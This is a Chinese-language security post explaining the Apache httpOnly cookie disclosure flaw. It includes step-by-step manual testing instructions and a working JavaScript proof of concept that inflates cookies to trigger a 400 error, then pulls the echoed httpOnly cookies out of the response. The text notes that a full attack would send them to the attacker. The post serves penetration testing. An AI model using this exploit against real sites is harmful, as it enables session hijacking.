Apache httpOnly Cookie Disclosure原理演示及利用代码

2013-01-23 14:03:49 28 9136


原理
由于XSS漏洞危害受到越来越多人的重视,现在很多站点以及一些成熟的cms为了防止出现xss漏洞来盗取用户cookie的问题,都采用给cookie附上httponly的属性,来禁止js获取用户的cookie,来降低xss的危害,而Apache HTTP Server在对HTTP状态代码400的默认错误响应的实现上存在缺陷,这一缺陷刚好可以用来绕过cookie的这个httponly的属性,最终导致Cookie信息泄露。
漏洞成因
        当apache接收到一个大于4k的cookie的时候,会返回一个400的错误,并且把所有的cookie完整的在页面当中显示出来,提示这个cookie过大,那么我们的攻击方式便是利用xss,给用户在正常的cookie的基础上再增加一些无用的cookie,使用户的cookie大于4k,然后js再发包请求一次网站,这时apache返回的响应就是400,并把cookie显示出来,这是我们只要用js正则匹配出正常的cookie即可,由于不是js直接获取cookie,而只是正则匹配出返回的字符串而已,便相当于绕过了cookie的httponly的属性,完整的攻击需要加上把匹配的字符串再发送到自己的一个接受文件当中即可。
测试方法
        当安全测试人员利用Nessus等漏洞扫描器发现测试对象存在Apache httpOnly Cookie Disclosure漏洞时,我们便可以利用手工进行更详细的测试,以下是某次渗透测试发现的Apache httpOnly Cookie Disclosure漏洞的主机!
要测试该漏洞首先需要安装firebug这一firefox的插件,这里不在赘述安装过程,本文的重点是阐述如何进行该漏洞的手工测试。
第一步:安装firebug插件;
第二步:在firefox地址栏里面访问存在Apache httpOnly Cookie Disclosure漏洞的网站链接,并且调出firebug插件(按F12可调出firebug插件);
第三步:在firebug的运行对话框中输入如下代码:
// Source: https://gist.github.com/1955a1c28324d4724b7b/7fe51f2a66c1d4a40a736540b3ad3fde02b7fb08  
// Most browsers limit cookies to 4k characters, so we need multiple  
function setCookies (good) {  
    // Construct string for cookie value  
    var str = "";  
    for (var i=0; i< 819; i++) {  
        str += "x";  
    }  
    // Set cookies  
    for (i = 0; i < 10; i++) {  
        // Expire evil cookie  
        if (good) {  
            var cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";  
        }  
        // Set evil cookie  
        else {  
            var cookie = "xss"+i+"="+str+";path=/";  
        }  
        document.cookie = cookie;  
    }  
}  
function makeRequest() {  
    setCookies();  
    function parseCookies () {  
        var cookie_dict = {};  
        // Only react on 400 status  
        if (xhr.readyState === 4 && xhr.status === 400) {  
            // Replace newlines and match <pre> content  
            var content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);  
            if (content.length) {  
                // Remove Cookie: prefix  
                content = content[1].replace("Cookie: ", "");  
                var cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);  
                // Add cookies to object  
                for (var i=0; i<cookies.length; i++) {  
                    var s_c = cookies[i].split('=',2);  
                    cookie_dict[s_c[0]] = s_c[1];  
                }  
            }  
            // Unset malicious cookies  
            setCookies(true);  
            alert(JSON.stringify(cookie_dict));  
        }  
    }  
    // Make XHR request  
    var xhr = new XMLHttpRequest();  
    xhr.onreadystatechange = parseCookies;  
    xhr.open("GET", "/", true);  
    xhr.send(null);  
}  
makeRequest();
点击运行,如果测试对象存在Apache httpOnly Cookie Disclosure漏洞,即会显示出当前cookie信息!

以上测试代码详细链接地址如下:
http://www.exploit-db.com/exploits/18442/


神啊,居然要封号了......不淡定了.....

关于作者

lmy91篇文章845篇回复深圳市计算机安全应急服务中心 安全工程师

评论28次

要评论?请先  登录  或  注册